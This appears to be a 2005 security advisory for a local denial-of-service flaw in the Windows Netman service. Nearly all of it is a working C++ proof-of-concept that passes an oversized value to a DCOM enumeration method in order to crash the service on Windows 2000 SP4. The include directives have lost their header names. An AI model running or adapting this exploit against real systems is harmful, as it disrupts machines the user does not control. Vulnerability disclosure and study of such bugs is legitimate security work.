[EXPL] Windows Netman Service Local DoS

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Windows Netman Service Local DoS
------------------------------------------------------------------------

SUMMARY

<Windows Netman service> Windows Netman service controlls the machine's
network connections. Presented in this article is a local denial of
service exploit that can be used against Netman service.

DETAILS

Exploit Code:
//netmandos.cpp
/* Windows Netman Service Local DOS Vulnerability.
*
* By bkbll bkbll#cnhonker.net 2005-7-14 2:49
*
* TESTED ON win2k sp4
*
* Netman svchost.exe -k netsvcs:
*
* EventSystem,Irmon,RasMan,NtmsSvc,SENS
*
*/
#define _WIN32_DCOM

#include
#include
#include
#include
#include

#pragma comment(lib,"ole32")

MIDL_INTERFACE("98133274-4B20-11D1-AB01-00805FC1270E")
VCConnectionManagerEnumConnection //: public IDispatch
{
public:
virtual HRESULT STDMETHODCALLTYPE QueryInterface(void) = 0;
virtual ULONG STDMETHODCALLTYPE AddRef( void) = 0;
virtual ULONG STDMETHODCALLTYPE Release( void) = 0;
virtual HRESULT STDMETHODCALLTYPE next(void) = 0;
virtual HRESULT STDMETHODCALLTYPE skip(DWORD) = 0;
virtual HRESULT STDMETHODCALLTYPE reset(void) = 0;
virtual HRESULT STDMETHODCALLTYPE clone(void) = 0;
};
CLSID CLSID_ConnectionManagerEnumConnection =
{0x0BA126AD2,0x2166,0x11D1,{0xB1,0xD0, 0x0, 0x80, 0x5F, 0x0C1, 0x27,
0x0E}};
IID IID_IEnumNetConnection = {0xC08956A0,0x1CD3,0x11D1,{0x0B1,0x0C5, 0x0,
0x80, 0x5F, 0x0C1, 0x27, 0x0E}};

main(int argc,char **argv)
{
VCConnectionManagerEnumConnection *clientcall;
HRESULT hr;

printf("Windows Netman Service Local DOS Vulnerability..\n\n");

CoInitializeEx(NULL,COINIT_MULTITHREADED);

printf("DCOM Client Trying started\n");
hr = CoCreateInstance(CLSID_ConnectionManagerEnumConnection, NULL,
CLSCTX_LOCAL_SERVER, IID_IEnumNetConnection, (void**)&clientcall);
if (hr != S_OK)
{
printf("CoCreateInstanceEx failed:%d\n",GetLastError());
return -1;
}
printf("Exploit netman service ....\n");
hr = clientcall->skip(0x80000001);//(void**)&p);
if(SUCCEEDED(hr))
{
printf("Call client proc Success.\n");
}
else
printf("Call client proc failed:%d\n",GetLastError());
hr = clientcall->Release();
CoUninitialize();
printf("Client exited.\n");
return 1;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:bkbll@cnhonker.net> bkbll.

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